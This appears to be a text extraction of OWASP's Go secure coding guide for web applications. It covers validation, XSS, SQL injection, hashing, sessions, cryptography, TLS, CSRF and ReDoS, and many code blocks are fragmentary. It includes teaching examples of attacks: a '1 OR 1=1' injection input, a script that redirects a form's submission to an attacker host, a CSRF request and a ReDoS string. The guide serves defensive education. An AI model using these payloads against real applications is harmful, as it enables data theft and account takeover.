The Go Language Guide Web Application Secure Coding Practices OWASP 08.17.20
The Go Language Guide Web Application Secure Coding Practices OWASP 08.17.20
Language
Guide
Web Application
Secure Coding Practices
Validation 1.2.1
Sanitization 1.2.2
Logging 1.8.2
HTTP/TLS 1.10.1
WebSockets 1.10.2
Connections 1.12.1
Authentication 1.12.2
1
Final Notes 1.17
2
Introduction
Go Language - Web Application Secure Coding Practices is a guide
written for anyone who is using the Go Programming Language and
aims to use it for web development.
3
About OWASP Secure Coding
Practices
The Secure Coding Practices Quick Reference Guide is an OWASP -
Open Web Application Security Proj ect. It is a "technology agnostic set
of general software security coding practices, in a comprehensive
checklist format, that can be integrated into the development lifecycle "
(source).
How to Contribute
This book was created using a few open source tools. If you're curious
about how we built it from scratch, read the HowTo contribute section.
4
Input Validation
In web application security, user input and its associated data are a
security risk if left unchecked. We address this risk by using "Input
Validation" and "Input Sanitization". These should be performed in
every tier of the application, according to the server's function. An
important note is that all data validation procedures must be done
on trusted systems (i.e. on the server).
As noted in the OWASP SCP Quick Reference Guide, there are sixteen
bullet points that cover the issues that developers should be aware
of when dealing with Input Validation. A lack of consideration for
these security risks when developing an application is one of the
main reasons Injection ranks as the number 1 vulnerability in the
"OWASP Top 10".
Validation
1. User Interactivity
Whitelisting
Boundary checking
Character escaping
Numeric validation
2. File Manipulation
3. Data sources
Cross-system consistency checks
Hash totals
Referential integrity
Uniqueness check
Table look up check
Post-validation Actions
1. Enforcement Actions
Advisory Action
Verification Action
Sanitization
5
1. Check for invalid UTF-8
Convert single less-than characters (<) to entity
Strip all tags
Remove line breaks, tabs and extra white space
Strip octets
URL request path
6
Validation
In validation checks, the user input is checked against a set of
conditions in order to guarantee that the user is indeed entering the
expected data.
This is important not only from a security standpoint but from the
perspective of data consistency and integrity, since data is usually
used across a variety of systems and applications.
User Interactivity
Any part of an application that allows user input is a potential
security risk. Problems can occur not only from threat actors that
seek a way to compromise the application, but also from erroneous
input caused by human error (statistically, the majority of the invalid
data situations are usually caused by human error). In Go there are
several ways to protect against such issues.
ParseBool
ParseFloat
ParseInt
ToLower
ToTitle
custom formats 1.
utf8 package implements functions and constants to support
text encoded in UTF-8. It includes functions to translate between
runes and UTF-8 byte sequences.
Valid
ValidRune
ValidString
7
Encoding UTF-8 runes:
EncodeRune
Decoding UTF-8:
DecodeLastRune
DecodeLastRuneInString
DecodeRune
DecodeRuneInString
Note: Ensure that the HTTP request and response headers only
contain ASCII characters.
File Manipulation
Any time file usage is required ( read or write a file ), validation
checks should also be performed, since most of the file manipulation
operations deal with user data.
8
Data sources
Anytime data is passed from a trusted source to a less-trusted
source, integrity checks should be made. This guarantees that the
data has not been tampered with and we are receiving the intended
data. Other data source checks include:
Uniqueness check
Table look up check
Post-validation Actions
According to Data Validation's best practices, the input validation is
only the first part of the data validation guidelines. Therefore, Post-
validation Actions should also be performed. The Post-validation
Actions used vary with the context and are divided in three separate
categories:
inform the user that submitted data has failed to comply with
the requirements and therefore the data should be modified
in order to comply with the required conditions.
modify user submitted data on the server side without
notifying the user of the changes made. This is most suitable
in systems with interactive usage.
Note: The latter is used mostly in cosmetic changes (modifying
sensitive user data can lead to problems like truncating, which
result in data loss).
9
A simple way to illustrate this is a billing address form, where the
user enters his address and the system suggests addresses
associated with the account. The user then accepts one of
these suggestions or ships to the address that was initially
entered.
10
Sanitization
Sanitization refers to the process of removing or replacing submitted
data. When dealing with data, after the proper validation checks
have been made, sanitization is an additional step that is usually
taken to strengthen data safety.
https://github.com/kennygrant/sanitize
https://github.com/maxwells/sanitize
https://github.com/microcosm-cc/bluemonday
11
will lead to the following output
23<45
Template source
{{ -3 }}
leads to
-3
func main() {
mux := http.NewServeMux()
rh := http.RedirectHandler("http://yourDomain.org", 307)
mux.Handle("/login", rh)
log.Println("Listening...")
http.ListenAndServe(":3000", mux)
}
NOTE: Keep in mind that ServeMux doesn't change the URL request
path for CONNECT requests, thus possibly making an application
vulnerable for path traversal attacks if allowed request methods are
not limited.
12
Output Encoding
Although output encoding only has six bullets in the section on
OWASP SCP Quick Reference Guide, undesirable practices of Output
Encoding are rather prevalent in Web Application development, thus
leading to the Top 1 vulnerability: Injection.
Certainly you've already heard about all the security issues we will
approach in this section, but do you really know how do they happen
and/or how to avoid them?
13
XSS - Cross Site Scripting
Although most developers have heard about it, most have never
tried to exploit a Web Application using XSS.
Cross Site Scripting has been on OWASP Top 10 security risks since
2003 and it's still a common vulnerability. The 2013 version is quite
detailed about XSS, for example: attack vectors, security weakness,
technical impacts and business impacts.
In short
You are vulnerable if you do not ensure that all user supplied
input is properly escaped, or you do not verify it to be safe via
server-side input validation, before including that input in the
output page. (source)
package main
import "net/http"
import "io"
func main () {
http.HandleFunc("/", handler)
http.ListenAndServe(":8080", nil)
}
14
But if param1 first characters are "<h1>", Content-Type will be text/html .
You may think that making param1 equal to any HTML tag will lead to
the same behavior, but it won't. Making param1 equal to "<h2>", "
<span>" or "<form>" will make Content-Type to be sent as plain/text
15
After talking with Google regarding this situation, they informed us
that:
package main
import "net/http"
import "text/template"
tmpl := template.New("hello")
tmpl, _ = tmpl.Parse(`{{define "T"}}{{.}}{{end}}`)
tmpl.ExecuteTemplate(w, "T", param1)
}
func main() {
http.HandleFunc("/", handler)
http.ListenAndServe(":8080", nil)
}
16
By replacing the text/template package with the html/template one,
you'll be ready to proceed... safely.
package main
import "net/http"
import "html/template"
tmpl := template.New("hello")
tmpl, _ = tmpl.Parse(`{{define "T"}}{{.}}{{end}}`)
tmpl.ExecuteTemplate(w, "T", param1)
}
func main() {
http.HandleFunc("/", handler)
http.ListenAndServe(":8080", nil)
}
17
18
SQL Injection
Another common injection that's due to the lack of proper output
encoding is SQL Injection. This is mostly due to an old bad practice:
string concatenation.
ctx := context.Background()
customerId := r.URL.Query().Get("id")
query := "SELECT number, expireDate, cvv FROM creditcards WHERE customerId = " + cust
For example, when provided a valid customerId value you will only list
that customer's credit card(s). But what if customerId becomes 1 OR
1=1 ?
... and you will dump all table records (yes, 1=1 will be true for any
record)!
ctx := context.Background()
customerId := r.URL.Query().Get("id")
query := "SELECT number, expireDate, cvv FROM creditcards WHERE customerId = ?"
readable,
shorter and
SAFE
19
MySQL PostgreSQL Oracle
WHERE col =
WHERE col = $1 WHERE col = :col
?
Check the Database Security section in this guide to get more in-
depth information about this topic.
20
Authentication and Password
Management
OWASP Secure Coding Practices is a valuable document for
programmers to help them to validate if all best practices were
followed during project implementation. Authentication and Password
Management are critical parts of any system and they are covered in
detail from user signup, to credentials storage, password reset and
private resources access.
Rules of Thumb
Let's start with the rules of thumb: "all authentication controls must
be enforced on a trusted system" which usually is the server where
the application's backend is running.
21
Communicating authentication
data
In this section, "communication" is used in a broader sense,
encompassing User Experience (UX) and client-server
communication.
22
<form method="post" action="https://somedomain.com/user/signin" autocomplete="off">
<input type="hidden" name="csrf" value="CSRF-TOKEN" />
<div class="error">
<p>Invalid username and/or password</p>
</div>
After a successful login, the user should be informed about the last
successful or unsuccessful access date/time so that he can detect
and report suspicious activity. Further information regarding logging
can be found in the Error Handling and Logging section of the document.
Additionally, it is also recommended to use a constant time
comparison function while checking passwords in order to prevent a
timing attack. The latter consists of analyzing the difference of time
between multiple requests with different inputs. In this case, a
standard comparison of the form record == password would return false
at the first character that does not match. The closer the submitted
password is, the longer the response time. By exploiting that, an
attacker could guess the password. Note that even if the record
doesn't exist, we always force the execution of
subtle.ConstantTimeCompare with an empty value to compare it to the user
input.
Network ↩
2 . Log Files, Apache Documentation ↩
23
Validation and storing
authentication data
Validation
You really don't need to store passwords, since they are provided by
the users (plaintext). But you will need to validate on each
authentication whether users are providing the same token.
So, for security reasons, what you need is a "one way" function H ,
so that for every password p1 and p2 , p1 is different from p2 ,
H(p1) is also different from H(p2)
1.
Does this sound, or look like math? Pay attention to this last
requirement: H should be such a function that there's no function
H⁻¹ so that H⁻¹(H(p1)) is equal to p1 . This means that there's no
way back to the original p1 , unless you try all possible values of p .
Well, if you know all possible passwords, you can pre-compute their
hashes and then run a rainbow table attack.
24
Certainly you were already told that passwords are hard to manage
from user's point of view, and that users are not only able to re-use
passwords, but they also tend to use something that's easy to
remember, hence somehow guessable.
The point is: if two different users provide the same password p1 ,
we should store a different hashed value. It may sound impossible,
but the answer is salt : a pseudo-random unique per user
password value which is prepended to p1 , so that the resulting
hash is computed as follows: H(salt + p1) .
Last recommendations.
25
package main
import (
"crypto/rand"
"crypto/sha256"
"database/sql"
"context"
"fmt"
)
const saltSize = 32
func main() {
ctx := context.Background()
email := []byte("[email protected]")
password := []byte("47;u5:B(95m72;Xq")
However, this approach has several flaws and should not be used. It
is shown here only to illustrate the theory with a practical example.
The next section explains how to correctly salt passwords in real life.
26
provides tools and standards reviewed and approved by experts. It is
therefore important to use them instead of trying to re-invent the
wheel.
go get golang.org/x/crypto
package main
import (
"database/sql"
"context"
"fmt"
"golang.org/x/crypto/bcrypt"
)
func main() {
ctx := context.Background()
email := []byte("[email protected]")
password := []byte("47;u5:B(95m72;Xq")
27
Bcrypt also provides a simple and secure way to compare a plaintext
password with an already hashed password:
ctx := context.Background()
// credentials to validate
email := []byte("[email protected]")
password := []byte("47;u5:B(95m72;Xq")
// this should be logged (see Error Handling and Logging) but execution
// should continue
}
28
Password Policies
Passwords are a historical asset, part of most authentication
systems, and are the number one target of attackers.
Quite often some service leaks its users' database, and despite the
leak of email addresses and other personal data, the biggest
concern are passwords. Why? Because passwords are not easy to
manage and remember. Users not only tend to use weak passwords
(e.g. "123456") they can easily remember, they can also re-use the
same password for different services.
Of course, none of the previous guidelines will prevent users from re-
using the same password. The best you can do to reduce this bad
practice is to "enforce password changes", and preventing password
re-use. "Critical systems may require more frequent changes. The time
between resets must be administratively controlled ".
Reset
Even if you're not applying any extra password policy, users still need
to be able to reset their password. Such a mechanism is as critical
as signup or sign-in, and you're encouraged to follow the best
practices to be sure your system does not disclose sensitive data
and become compromised.
"Passwords should be at least one day old before they can be changed ".
This way you'll prevent attacks on password re-use. Whenever using
"email based resets, only send email to a pre-registered address with a
temporary link/password " which should have a short expiration
period.
29
Other guidelines
Authentication is a critical part of any system, therefore you should
always employ correct and safe practices. Below are some guidelines
to make your authentication system more resilient:
30
Session Management
In this section we will cover the most important aspects of session
management according to OWASP's Secure Coding Practices. An
example is provided along with an overview of the rationale behind
these practices. Along with this text, there is a folder which contains
the complete source code of the program we will analyze during this
section. The flow of the session process can be seen in the following
image:
...
token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
signedToken, _ := token.SignedString([]byte("secret")) //our secret
...
Now that we have a sufficiently strong token, we must also set the
Domain , Path , Expires , HTTP only , Secure for our cookies. In this case
the Expires value is in this example set to 30 minutes since we are
considering our application a low-risk application.
31
Upon sign-in, a new session is always generated. The old session is
never re-used, even if it is not expired. We also use the Expire
...
cookie, err := req.Cookie("Auth") //Our auth token
if err != nil {
res.Header().Set("Content-Type", "text/html")
fmt.Fprint(res, "Unauthorized - Please login <br>")
fmt.Fprintf(res, "<a href=\"login\"> Login </a>")
return
}
...
32
Access Control
When dealing with access controls the first step to take is to use
only trusted system objects for access authorization decisions. In the
example provided in the Session Management section, we
implemented this using JWT: JSON Web Tokens to generate a session
token on the server-side.
//token Claims
claims := Claims{
{...}
}
We can then store and use this token to validate the user and
enforce our Access Control model.
33
User and data attributes and policy information.
The application must also support the disabling of accounts and the
termination of sessions when a user's authorization is revoked. (e.g.
role change, employment status, etc.).
34
Cryptographic Practices
Let's make the first statement as strong as your cryptography should
be: hashing and encrypting are two different things.
hash := F(data)
The hash has a fixed length and its value vary widely with small
variations in input (collisions may still happen). A good hashing
algorithm won't allow a hash to turn into its original source 1. MD5 is
the most popular hashing algorithm, but securitywise BLAKE2 is
considered the strongest and most flexible.
Whenever you have something that you don't need to know what it
is, but only if it's what it's supposed to be (like checking file integrity
after download), you should use hashing 2
35
package main
import "fmt"
import "io"
import "crypto/md5"
import "crypto/sha256"
import "golang.org/x/crypto/blake2s"
func main () {
h_md5 := md5.New()
h_sha := sha256.New()
h_blake2s, _ := blake2s.New256(nil)
io.WriteString(h_md5, "Welcome to Go Language Secure Coding Practices")
io.WriteString(h_sha, "Welcome to Go Language Secure Coding Practices")
io.WriteString(h_blake2s, "Welcome to Go Language Secure Coding Practices")
fmt.Printf("MD5 : %x\n", h_md5.Sum(nil))
fmt.Printf("SHA256 : %x\n", h_sha.Sum(nil))
fmt.Printf("Blake2s-256: %x\n", h_blake2s.Sum(nil))
}
The output
MD5 : ea9321d8fb0ec6623319e49a634aad92
SHA256 : ba4939528707d791242d1af175e580c584dc0681af8be2a4604a526e864449f6
Blake2s-256: 1d65fa02df8a149c245e5854d980b38855fd2c78f2924ace9b64e8b21b3f2f82
Note: To run the source code sample you'll need to run $ go get
golang.org/x/crypto/blake2s
On the other hand, encryption turns data into variable length data
using a key
36
Public key cryptography or asymmetric cryptography which makes
use of pairs of keys: public and private. Public key cryptography
offers less performance than symmetric key cryptography for most
cases. Therefore, its most common use-case is sharing a symmetric
key between two parties using asymmetric cryptography, so they can
then use the symmetric key to exchange messages encrypted with
symmetric cryptography. Aside from AES, which is 1990's technology,
Go authors have begun to implement and support more modern
symmetric encryption algorithms, which also provide authentication,
for example, chacha20poly1305.
37
package main
import "fmt"
import "crypto/aes"
import "crypto/cipher"
import "crypto/rand"
func main() {
key := []byte("Encryption Key should be 32 char")
data := []byte("Welcome to Go Language Secure Coding Practices")
Encrypted: a66bd44db1fac7281c33f6ca40494a320644584d0595e5a0e9a202f8aeb22dae659dc06932
Decrypted: Welcome to Go Language Secure Coding Practices
Please note, you should "establish and utilize a policy and process for
how cryptographic keys will be managed ", protecting "master secrets
from unauthorized access". That being said, your cryptographic keys
shouldn't be hardcoded in the source code (as it is in this example).
package.
algorithms. ↩
38
2. Consider reading the Authentication and Password
39
Pseudo-Random Generators
In OWASP Secure Coding Practices you'll find what seems to be a
really complex guideline: "All random numbers, random file names,
random GUIDs, and random strings should be generated using the
cryptographic module’s approved random number generator when
these random values are intended to be un-guessable", so let's discuss
"random numbers".
package main
import "fmt"
import "math/rand"
func main() {
fmt.Println("Random Number: ", rand.Intn(1984))
}
Running this program several times will lead exactly to the same
number/sequence, but why?
We could "fix" this example quite easily by using the math/rand Seed
function, getting the expected five different values for each program
execution. But because we're on Cryptographic Practices section, we
should follow to Go's crypto/rand package.
40
package main
import "fmt"
import "math/big"
import "crypto/rand"
func main() {
rand, err := rand.Int(rand.Reader, big.NewInt(1984))
if err != nil {
panic(err)
}
If you're curious about how this can be exploited just think what
happens if your application creates a default password on user
signup, by computing the hash of a pseudo-random number
generated with Go's math/rand, as shown in the first example.
Yes, you guessed it, you would be able to predict the user's
password!
41
Error Handling and Logging
Error handling and logging are essential parts of application and
infrastructure protection. When Error Handling is mentioned, it is
referring to the capture of any errors in our application logic that
may cause the system to crash, unless handled correctly. On the
other hand, logging highlights all the operations and requests that
occurred on our system. Logging not only allows the identification of
all operations that have occurred, but it also helps determine what
actions need to be taken to protect the system. Since attackers
often attempt to remove all traces of their action by deleting logs,
it's critical that logs are centralized.
Error Handling
Logging
42
Error Handling
In Go, there is a built-in error type. The different values of error type
indicate an abnormal state. Usually in Go, if the error value is not
nil then an error has occurred. It must be dealt with in order to
allow the application to recover from that state without crashing.
if err != nil {
// handle the error
}
Not only can the built-in errors be used, we can also specify our own
error types. This can be achieved by using the errors.New function.
Example:
{...}
if f < 0 {
return 0, errors.New("math: square root of negative number")
}
//If an error has occurred print it
if err != nil {
fmt.Println(err)
}
{...}
{...}
if f < 0 {
return 0, fmt.Errorf("math: square root of negative number %g", f)
}
{...}
43
func main () {
start()
fmt.Println("Returned normally from start().")
}
func start () {
defer func () {
if r := recover(); r != nil {
fmt.Println("Recovered in start()")
}
}()
fmt.Println("Called start()")
part2(0)
fmt.Println("Returned normally from part2().")
}
Output:
Called start()
Executing part2()
Panicking in part2()!
Defer in part2()
Recovered in start()
Returned normally from start().
44
An error that should never occur and that we know that it's
unrecoverable.
If a non-interactive process encounters an error and cannot
complete, there is no way to notify the user about this error. It's
best to stop the execution before additional problems can
emerge from this failure.
func main() {
i := 1
for i < 3 {
init(i)
i++
}
fmt.Println("Initialized all variables successfully")
45
Logging
Logging should always be handled by the application and should not
rely on a server configuration.
func main() {
var buf bytes.Buffer
var RoleLevel int
switch RoleLevel {
case 1:
// Log successful login
logger.Printf("Login successful.")
fmt.Print(&buf)
case 2:
// Log unsuccessful Login
logger.Printf("Login unsuccessful - Insufficient access level.")
fmt.Print(&buf)
default:
// Unspecified error
logger.Print("Login error.")
fmt.Print(&buf)
}
}
46
It's also good practice to implement generic error messages, or
custom error pages, as a way to make sure that no information is
leaked when an error occurs.
Most, if not all third-party logging packages offer these and other
features. The ones below are some of the most popular third-party
logging packages:
Logrus - https://github.com/Sirupsen/logrus
glog - https://github.com/golang/glog
loggo - https://github.com/juju/loggo
47
{...}
// Get our known Log checksum from checksum file.
logChecksum, err := ioutil.ReadFile("log/checksum")
str := string(logChecksum) // convert content to a 'string'
48
Data Protection
Nowadays, one of the most important things in security in general is
data protection. You don't want something like:
For example, consider a simple online store with the following user
roles:
The primary thing to perform is to define the right role for each user -
web or system.
49
Temporary and cache files which contain sensitive information should
be removed as soon as they're not needed. If you still need some of
them, move them to protected areas or encrypt them.
Comments
Sometimes developers leave comments like To-do lists in the source-
code, and sometimes, in the worst case scenario, developers may
leave credentials.
URL
Passing sensitive information using the HTTP GET method leaves the
web application vulnerable because:
Also note that parameters being passed through GET (aka query
string) will be stored in clear, in the browser history and the server's
access log regardless whether you're using HTTP or HTTPS.
Information is power
50
You should always remove application and system documentation on
the production environment. Some documents could disclose
versions, or even functions that could be used to attack your web
application (e.g. Readme, Changelog, etc.).
If you need to implement your code elsewhere, just build and share
the binary, since there's no bulletproof solution to prevent reverse
engineering.
Getting different permissions for accessing the code and limiting the
access for your source-code, is the best approach.
51
// Load your secret key from a safe place and reuse it across multiple
// Seal calls. (Obviously don't use this example key for anything
// real.) If you want to convert a passphrase to a key, use a suitable
// package like bcrypt or scrypt.
secretKeyBytes, err := hex.DecodeString("6368616e676520746869732070617373776f72642074
if err != nil {
panic(err)
}
// You must use a different nonce for each message you encrypt with the
// same key. Since the nonce here is 192 bits long, a random value
// provides a sufficiently small probability of repeats.
var nonce [24]byte
if _, err := rand.Read(nonce[:]); err != nil {
panic(err)
}
// This encrypts "hello world" and appends the result to the nonce.
encrypted := secretbox.Seal(nonce[:], []byte("hello world"), &nonce, &secretKey)
// When you decrypt, you must use the same nonce and key you used to
// encrypt the message. One way to achieve this is to store the nonce
// alongside the encrypted message. Above, we stored the nonce in the first
// 24 bytes of the encrypted text.
var decryptNonce [24]byte
copy(decryptNonce[:], encrypted[:24])
decrypted, ok := secretbox.Open([]byte{}, encrypted[24:], &decryptNonce, &secretKey)
if !ok {
panic("decryption error")
}
fmt.Println(string(decrypted))
hello world
Autocomplete
According to Mozilla documentation, you can disable autocompletion
in the entire form by using:
52
<input type="text" id="cc" name="cc" autocomplete="off">
window.setTimeout(function() {
document.forms[0].action = 'http://attacker_site.com';
document.forms[0].submit();
}
), 10000);
Cache
Cache control in pages that contain sensitive information should be
disabled.
The no-cache value tells the browser to revalidate with the server
before using any cached response. It does not tell the browser to
not cache.
53
Communication Security
When approaching communication security, developers should be
certain that the channels used for communication are secure. Types
of communication include server-client, server-database, as well as
all backend communications. These must be encrypted to guarantee
data integrity, and to protect against common attacks related to
communication security. Failure to secure these channels allows
known attacks like MITM, which allows attacker to intercept and read
the traffic in these channels.
HTTP/HTTPS
Websockets
54
HTTP/TLS
TLS/SSL is a cryptographic protocol that allows encryption over
otherwise insecure communication channels. The most common
usage of TLS/SSL is to provide secure HTTP communication, also
known as HTTPS . The protocol ensures that the following properties
apply to the communication channel:
Privacy
Authentication
Data integrity
import "log"
import "net/http"
func main() {
http.HandleFunc("/", func (w http.ResponseWriter, req *http.Request) {
w.Write([]byte("This is an example server.\n"))
})
55
...
type Certificates struct {
CertFile string
KeyFile string
}
func main() {
httpsServer := &http.Server{
Addr: ":8080",
}
config := &tls.Config{}
var err error
config.Certificates = make([]tls.Certificate, len(certs))
for i, v := range certs {
config.Certificates[i], err = tls.LoadX509KeyPair(v.CertFile, v.KeyFile)
}
56
// MinVersion contains the minimum SSL/TLS version that is acceptable.
// If zero, then TLS 1.0 is taken as the minimum.
MinVersion uint16
The safety of the used ciphers can be checked with SSL Labs.
57
Image Credits : John Mitchell
58
WEBSOCKETS
WebSocket is a new browser capability developed for HTML 5, which
enables fully interactive applications. With WebSockets, both the
browser and the server can send asynchronous messages over a
single TCP socket, without resorting to long polling or comet.
Origin Header
The Origin header in the HTTP WebSocket handshake is used to
guarantee that the connection accepted by the WebSocket is from a
trusted origin domain. Failure to enforce can lead to Cross Site
Request Forgery (CSRF).
The application should validate the Host and the Origin to make
sure the request's Origin is the trusted Host , rejecting the
connection if not.
59
The WebSocket communication channel can be established over
unencrypted TCP or over encrypted TLS.
and its default port is 80 . If using TLS WebSockets, the URI scheme
is wss:// and the default port is 443 .
In this section we will show the information being sent when the
connection upgrades from HTTP to WebSocket and the risks it poses
if not handled correctly. In the first example, we see a regular HTTP
connection being upgraded to a WebSocket connection:
Notice that the header contains our cookie for the session. To
ensure no sensitive information is leaked, TLS should be used when
upgrading our connection, as shown in the following image:
Input Sanitization
As with any data originating from untrusted sources, the data should
be properly sanitized and encoded. For a more detailed coverage of
these topics, see the Sanitization and the Output Encoding parts of this
guide.
60
System Configuration
Keeping things updated is imperative in security. With that in mind,
developers should keep Go updated to the latest version, as well as
external packages and frameworks used by the web application.
Regarding HTTP requests in Go, you need to know that any incoming
server requests will be done either in HTTP/1.1 or HTTP/2. If the
request is made using:
Proto will be ignored and the request will be made using HTTP/1.1.
Directory listings
If a developer forgets to disable directory listings (OWASP also calls it
Directory Indexing), an attacker could check for sensitive files
navigating through directories.
http.ListenAndServe(":8080", http.FileServer(http.Dir("/tmp/static")))
If you call localhost:8080 , it will open your index.html. But imagine that
you have a test directory that has a sensitive file inside. What
happen next?
61
type justFilesFilesystem struct {
fs http.FileSystem
}
fs := justFilesFilesystem{http.Dir("tmp/static/")}
http.ListenAndServe(":8080", http.StripPrefix("/tmp/static", http.FileServer(fs)))
And if we try to list our test/ folder to get a directory listing, we are
also shown the same error.
OS version
Webserver version
Framework or programming language version
62
This information can be used by attackers to check for vulnerabilities
in the versions you disclose, therefore, it is advised to remove them.
By default, this is not disclosed by Go. However, if you use any type
of external package or framework, don't forget to double-check it.
You can search the code for the HTTP header that is being disclosed
and remove it.
Also you can define which HTTP methods the web application will
support. If you only use/accept POST and GET, you can implement
CORS and use the following code:
User-agent: *
Allow: /sitemap.xml
Allow: /index
Allow: /contact
Allow: /aboutus
Disallow: /
The example above will allow any user-agent or bot to index those
specific pages, and disallow the rest. This way you don't disclose
sensitive folders or pages - like admin paths or other important data.
63
Isolate the development environment from the production network.
Provide the right access to developers and test groups, and better
yet, create additional security layers to protect them. In most cases,
development environments are easier targets to attacks.
64
Database Security
This section on OWASP SCP will cover all of the database security
issues and actions developers and DBAs need to take when using
databases in their web applications.
65
Database Connections
The concept
sql.Open does not return a database connection but *DB :a
database connection pool. When a database operation is about to
run (e.g. query), an available connection is taken from the pool,
which should be returned to the pool as soon as the operation
completes.
66
package main
import (
"context"
"database/sql"
"fmt"
"log"
"time"
_ "github.com/go-sql-driver/mysql"
)
func main() {
db, err := sql.Open("mysql", "user:@/cxdb")
if err != nil {
log.Fatal(err)
}
p := &program{db: db}
p.base, p.cancel = context.WithCancel(context.Background())
err = p.doOperation()
if err != nil {
log.Fatal(err)
}
}
67
Instead of placing your configuration file at /home/public_html/ , consider
/home/private/configDB.xml : a protected area.
<connectionDB>
<serverDB>localhost</serverDB>
<userDB>f00</userDB>
<passDB>f00?bar#ItsP0ssible</passDB>
</connectionDB>
configFile, _ := os.Open("../private/configDB.xml")
Of course, if the attacker has root access, he will be able to see the
file. Which brings us to the most cautious thing you can do - encrypt
the file.
Database Credentials
You should use different credentials for every trust distinction and
level, for example:
User
Read-only user
Guest
Admin
68
Database Authentication
69
Parameterized Queries
Prepared Statements (with Parameterized Queries) are the best and
most secure way to protect against SQL Injections.
Flow
1. The developer prepares the statement ( Stmt ) on a connection in
the pool
2. The Stmt object remembers which connection was used
3. When the application executes the Stmt , it tries to use that
connection. If it's not available it will try to find another
connection in the pool
customerName := r.URL.Query().Get("name")
db.Exec("UPDATE creditcards SET name=? WHERE customerId=?", customerName, 233, 90)
70
Stored Procedures
Developers can use Stored Procedures to create specific views on
queries to prevent sensitive information from being archived, rather
than using normal queries.
Besides the problems of Input validation, the database user (for the
example John) could access ALL information from the user ID.
This way you know for sure that user John only sees name and
lastname from the users he requests.
Stored procedures are not bulletproof, but they create a new layer of
protection to your web application. They give DBAs a big advantage
over controlling permissions (e.g. users can be limited to specific
rows/data), and even better server performance.
71
File Management
The first precaution to take when handling files is to make sure the
users are not allowed to directly supply data to any dynamic
functions. In languages like PHP, passing user data to dynamic
include functions, is a serious security risk. Go is a compiled
language, which means there are no include functions, and libraries
aren't usually loaded dynamically1.
Below you find the relevant parts of a simple program to read and
compute filetype (filetype.go)
{...}
// Write our file to a buffer
// Why 512 bytes? See http://golang.org/pkg/net/http/#DetectContentType
buff := make([]byte, 512)
_, err = file.Read(buff)
{...}
//Result - Our detected filetype
filetype := http.DetectContentType(buff)
{...}
switch filetype {
case "image/jpeg", "image/jpg":
fmt.Println(filetype)
case "image/gif":
fmt.Println(filetype)
case "image/png":
fmt.Println(filetype)
default:
fmt.Println("unknown file type uploaded")
}
{...}
72
If the file server that hosts user uploads is *NIX based, make sure to
implement safety mechanisms like chrooted environment, or
mounting the target file directory as a logical drive.
Never send the absolute file path to the user, always use relative
paths.
mechanism. ↩
73
Memory Management
There are several important aspects to consider regarding memory
management. Following the OWASP guidelines, the first step we must
take to protect our application pertains to the user input/output.
Steps must be taken to ensure no malicious content is allowed. A
more detailed overview of this aspect is in the Input Validation and
the Output Encoding sections of this document.
func main() {
strings := []string{"aaa", "bbb", "ccc", "ddd"}
// Our loop is not checking the MAP length -> BAD
for i := 0; i < 5; i++ {
if len(strings[i]) > 0 {
fmt.Println(strings[i])
}
}
}
Output:
aaa
bbb
ccc
ddd
panic: runtime error: index out of range
74
defer func() {
// Our cleanup code here
}
75
Cross-Site Request Forgery
By OWASP's definition "Cross-Site Request Forgery (CSRF) is an attack
that forces an end user to execute unwanted actions on a web
application in which they're currently authenticated.". (source)
CSRF attacks are not focused on data theft. Instead, they target
state-changing requests. With a little social engineering (such as
sharing a link via email or chat) the attacker may trick users to
execute unwanted web-application actions such as changing
account's recovery email.
Attack scenario
Let's say that foo.com uses HTTP GET requests to set the account's
recovery email as shown:
GET https://foo.com/account/[email protected]
https://foo.com/account/[email protected]
The Problem
Changing the HTTP verb from GET to POST (or any other) won't solve
the issue. Using secret cookies, URL rewriting, or HTTPS won't do it
either.
The Solution
In theory
76
As previously mentioned, CSRF targets state-changing requests.
Concerning Web Applications, most of the time that means POST
In this scenario, when a user first requests the page which renders
the form, the server computes a nonce (an arbitrary number
intended to be used once). This token is then included into the form
as a field (most of the time this field is hidden but it is not
mandatory).
Next, when the form is submitted, the hidden field is sent along with
other user input. The server should then validated whether the
token is part the request data, and determine if it is valid.
Concerning APIs, PUT and DELETE are two other common targets of
CSRF attacks.
In practice
Doing all this by hand is not a good idea, since it is error prone.
77
package main
import (
"net/http"
"github.com/gorilla/csrf"
"github.com/gorilla/mux"
)
func main() {
r := mux.NewRouter()
r.HandleFunc("/signup", ShowSignupForm)
// All POST requests without a valid token will return HTTP 403 Forbidden.
r.HandleFunc("/signup/post", SubmitSignupForm)
78
Regular Expressions
Regular Expressions are a powerful tool that's widely used to perform
searches and validations. In the context of a web applications they
are commonly used to perform input validation (e.g. Email address).
Why RE2
RE2 was designed and implemented with an explicit goal of
being able to handle regular expressions from untrusted users
without risk. (source)
You're better off reading the full article "Diving Deep into Regular
Expression Denial of Service (ReDoS) in Go" as it goes deep into the
problem, and also includes comparisons between the most popular
programming languages. In this section we will focus on a real-world
use case.
79
Say for some reason you're looking for a Regular Expression to
validate Email addresses provided on your signup form. After a quick
search, you found this RegEx for email validation at RegExLib.com:
^([a-zA-Z0-9])(([\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]
package main
import (
"fmt"
"regexp"
)
func main() {
testString1 := "[email protected]"
testString2 := "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!"
regex := regexp.MustCompile("^([a-zA-Z0-9])(([\\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[
fmt.Println(regex.MatchString(testString1))
// expected output: true
fmt.Println(regex.MatchString(testString2))
// expected output: false
}
$ go run src/redos.go
true
false
console.log(regex.test(testString1));
// expected output: true
console.log(regex.test(testString2));
// expected output: hang/FATAL EXCEPTION
In this case, execution will hang forever and your application will
service no further requests (at least this process). This means no
further signups will work until the application gets
restarted, resulting in business losses.
What's missing?
80
If you have a background with other programming languages such as
Perl, Python, PHP, or JavaScript, you should be aware of the
differences regarding Regular Expression supported features.
console.log(regex.test(testString1));
// expected output: true
